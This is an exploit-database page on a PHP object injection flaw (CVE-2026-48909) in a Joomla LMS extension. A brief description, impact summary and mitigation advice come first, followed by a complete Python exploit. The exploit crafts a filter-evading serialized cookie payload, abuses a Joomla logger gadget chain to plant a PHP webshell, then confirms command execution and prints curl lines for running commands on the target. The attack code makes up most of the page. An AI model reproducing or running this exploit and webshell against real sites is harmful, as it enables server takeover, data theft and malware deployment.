Skip to main content

Joomla Extension 4.1.4 – PHP Object injection

Categories: PHP WebApps

Joomla Extension 4.1.4 – PHP Object Injection Vulnerability

The recently discovered vulnerability in Joomla Extension version 4.1.4, identified as CVE-2026-48909, pertains to a critical PHP object injection issue. This flaw allows attackers to exploit the extension by injecting malicious PHP objects, which can lead to unauthorized code execution and potential takeover of the affected Joomla site.

Technical Details

This vulnerability arises from improper input validation within the Joomla Extension, specifically in how it handles serialized PHP objects. When user-supplied data is not adequately sanitized, an attacker can craft a malicious payload that, when processed, results in the instantiation of arbitrary PHP objects. This can lead to various security issues, including remote code execution, data tampering, and unauthorized access to sensitive information.

For instance, an attacker could use this vulnerability to inject a payload that executes system commands or alters database entries. By exploiting this flaw, attackers can gain control over the server hosting the Joomla instance, leading to further exploitation or data breaches.

Impact

The consequences of exploiting CVE-2026-48909 can be severe. A successful attack can compromise the integrity of the entire Joomla site, allowing attackers to manipulate content, steal sensitive user data, or deploy additional malware. Furthermore, the potential for lateral movement within the network increases, posing a significant risk to organizational assets and data.

Mitigation

To protect against this vulnerability, security professionals should take immediate action by updating the Joomla Extension to the latest version that addresses CVE-2026-48909. Regularly patching and updating all extensions is crucial in maintaining a secure Joomla environment. Additionally, implementing a Web Application Firewall (WAF) can help detect and block malicious payloads targeting this vulnerability.

Moreover, it is advisable to perform regular security audits and vulnerability assessments on your Joomla installations to identify and remediate potential risks. Educating users on the importance of strong password policies and monitoring for unusual activity can further enhance security posture against such vulnerabilities.

Proof of Concept (PoC)

poc.sh
Exploit Ttile: Joomla Extension 4.1.4 - PHP Object injection 
Affected : JoomShaper SP LMS <= 4.1.3
Fixed    : JoomShaper SP LMS >= 4.1.4
Author   : Amin İsayev / Proxima Cyber Security

Joomla version note:
  RCE requires Joomla < 5.2.2
  Joomla >= 5.2.2 patched FormattedtextLogger.__wakeup() which blocks the
  gadget chain — PHP Object Injection still exists in com_splms but no
  known public gadget chain leads to RCE on patched Joomla versions.

Attack chain:
  lmsOrders cookie
  → unserialize(base64_decode($cookie))          [com_splms/models/cart.php:28]
  → FormattedtextLogger.__destruct()              [Joomla gadget]
  → File::write($path, $format)
  → webshell on disk

Joomla Input filter note:
  $cookie->get() uses 'cmd' filter by default → strips '/', '=', '+' from cookie.
  Fix: pad format string so serialized total is divisible by 3 (no '=') and
  iterate until base64 has no '/' (shifts encoding).

  Format string uses hex2bin() to avoid forbidden chars: $ _ { } n

Usage:
  python3 CVE-2026-48909_exploit.py <target> <server_path>

  server_path = absolute PHP-writable path on server
  Examples  :
    /var/www/html/tmp/x.php
    /home/USER/public_html/tmp/x.php
    /var/www/vhosts/site.com/httpdocs/tmp/x.php
"""

import sys
import base64
import requests
import urllib3

urllib3.disable_warnings()

CART_PATH = "/index.php?option=com_splms&view=cart"
TIMEOUT   = 15
WEBSHELL  = '<?php fpassthru(popen($_GET["c"],"r"));?>'

# ─── PHP serializer ───────────────────────────────────────────────────────────

def _s(s: str) -> str:
    return f's:{len(s.encode())}:"{s}";'

def _pk(name: str) -> str:
    """Protected property key (null-byte notation for string concat)"""
    return f'x00*x00{name}'

def _build_serialized(webshell_path: str, fmt: str) -> str:
    """Build the raw PHP serialized string (not yet base64)."""
    entry = (
        'O:23:"Joomla\CMS\Log\LogEntry":3:{'
        's:4:"date";s:10:"1234567890";'
        's:4:"time";s:1:"t";'
        's:1:"f";s:3:"xxx";'
        '}'
    )
    cn = 'Joomla\CMS\Log\Logger\FormattedtextLogger'

    props = (
        _s(_pk('defer'))    + 'b:1;' +
        _s(_pk('options'))  + 'a:1:{s:16:"text_file_no_php";b:1;}' +
        _s(_pk('path'))     + _s(webshell_path) +
        _s(_pk('deferredEntries')) + f'a:1:{{i:0;{entry}}}' +
        _s(_pk('format'))   + _s(fmt) +
        _s(_pk('fields'))   + 'a:0:{}'
    )
    return f'O:{len(cn.encode())}:"{cn}":6:{{{props}}}'


def build_payload(webshell_path: str, php_code: str) -> tuple[str, int]:
    """
    Craft a base64 cookie payload that survives Joomla's 'cmd' Input filter.

    The filter strips '/', '=' and '+'. We avoid these by:
      1. Encoding php_code as hex → no '$', '_', '{', '}', '\n' in format
      2. Padding format to make total serialized length divisible by 3 → no '=' padding
      3. Iterating pad size (by 3) until base64 contains no '/' chars

    Returns (base64_payload, format_length).
    """
    hex_code   = php_code.encode().hex()
    core       = f'<?php fwrite(fopen("{webshell_path}","w"),hex2bin("{hex_code}"));'
    pad_prefix = '/*'
    pad_suffix = '*/;?>'

    PAD_CHARS = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

    for target_fmt_len in range(200, 8000):
        pad_len = target_fmt_len - len(core.encode()) - len(pad_prefix) - len(pad_suffix)
        if pad_len < 0:
            continue

        # Quick mod-3 check with first pad_char before trying all 62
        fmt_probe = core + pad_prefix + PAD_CHARS[0] * pad_len + pad_suffix
        ser_probe  = _build_serialized(webshell_path, fmt_probe).encode('latin-1')
        if len(ser_probe) % 3 != 0:
            continue  # no pad_char can fix mod-3 alignment for this length

        for pad_char in PAD_CHARS:
            fmt = core + pad_prefix + pad_char * pad_len + pad_suffix

            serialized = _build_serialized(webshell_path, fmt)
            ser_bytes   = serialized.encode('latin-1')
            b64 = base64.b64encode(ser_bytes).decode()

            if '/' not in b64 and '+' not in b64:
                return b64, len(fmt)

    raise RuntimeError("Could not find filter-safe payload — try a different path")


# ─── Exploit ──────────────────────────────────────────────────────────────────

def _server_path_to_url(server_path: str) -> str:
    """Strip webroot prefix to get the URL path."""
    import re
    # cPanel: /home[N]/USER/public_html/...
    m = re.match(r'^/homed*/[^/]+/public_html(/.*)', server_path)
    if m:
        return m.group(1)
    # Plesk: /var/www/vhosts/DOMAIN/httpdocs/...
    m = re.match(r'^/var/www/vhosts/[^/]+/(?:httpdocs|htdocs|web)(/.*)', server_path)
    if m:
        return m.group(1)
    # Standard
    for prefix in ('/var/www/html', '/var/www', '/srv/www', '/htdocs', '/www'):
        if server_path.startswith(prefix):
            return server_path[len(prefix):]
    return server_path


def exploit(target: str, server_path: str) -> None:
    url_path = _server_path_to_url(server_path)

    cart_url  = target.rstrip('/') + CART_PATH
    shell_url = target.rstrip('/') + (url_path if url_path.startswith('/') else '/' + url_path)

    session = requests.Session()
    session.verify = False
    session.headers.update({
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
    })

    print(f"[*] Target     : {target}")
    print(f"[*] Shell path : {server_path}")
    print(f"[*] Shell URL  : {shell_url}")

    print("[*] Building filter-safe payload...")
    payload, fmt_len = build_payload(server_path, WEBSHELL)
    print(f"[*] Format len : {fmt_len} bytes  |  Base64 len: {len(payload)}")
    print(f"[*] Payload    : {payload[:60]}...")
    print()

    try:
        r = session.get(cart_url, cookies={'lmsOrders': payload}, timeout=TIMEOUT)
        status = r.status_code
        if status == 500:
            print(f"[+] HTTP 500 — gadget triggered (FormattedtextLogger.__destruct)")
        elif status == 200:
            print(f"[?] HTTP 200 — payload may have been filtered or gadget not triggered")
        else:
            print(f"[?] HTTP {status}")
    except requests.RequestException as e:
        print(f"[!] Request failed: {e}")
        return

    import time; time.sleep(1)

    # Step 1: trigger the fopen/fwrite code in shell.php to overwrite with real webshell
    print("[*] Step 1: triggering fopen/fwrite loader...")
    try:
        r1 = session.get(shell_url, timeout=TIMEOUT)
        print(f"[*] Loader response: HTTP {r1.status_code} ({len(r1.text)} bytes)")
    except requests.RequestException as e:
        print(f"[!] Loader request failed: {e}")

    # Step 2: verify RCE
    print("[*] Step 2: checking shell...")
    try:
        rv = session.get(shell_url + '?c=id', timeout=TIMEOUT)
        if rv.status_code == 200 and 'uid=' in rv.text:
            print(f"n[+] SHELL ACTIVE!")
            print(f"[+] id: {rv.text.strip()[:200]}")
            print(f"n    curl -sk '{shell_url}?c=COMMAND'")
        elif rv.status_code == 200 and len(rv.text.strip()) < 600:
            print(f"n[~] File accessible:")
            print(f"    {rv.text.strip()[:300]}")
            print(f"n    Try again: curl -sk '{shell_url}?c=id'")
        elif rv.status_code == 404:
            print(f"[-] Shell not found (404) — file not written or wrong path")
            print(f"    Common paths: /tmp/x.php  /images/x.php  /cache/x.php")
        elif rv.status_code == 403:
            print(f"[~] 403 — file may exist but PHP not served there")
        else:
            print(f"[-] HTTP {rv.status_code}")
    except requests.RequestException as e:
        print(f"[!] Shell check failed: {e}")


def main():
    if len(sys.argv) < 3:
        print(__doc__)
        sys.exit(1)

    exploit(sys.argv[1], sys.argv[2])


if __name__ == '__main__':
    main()

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...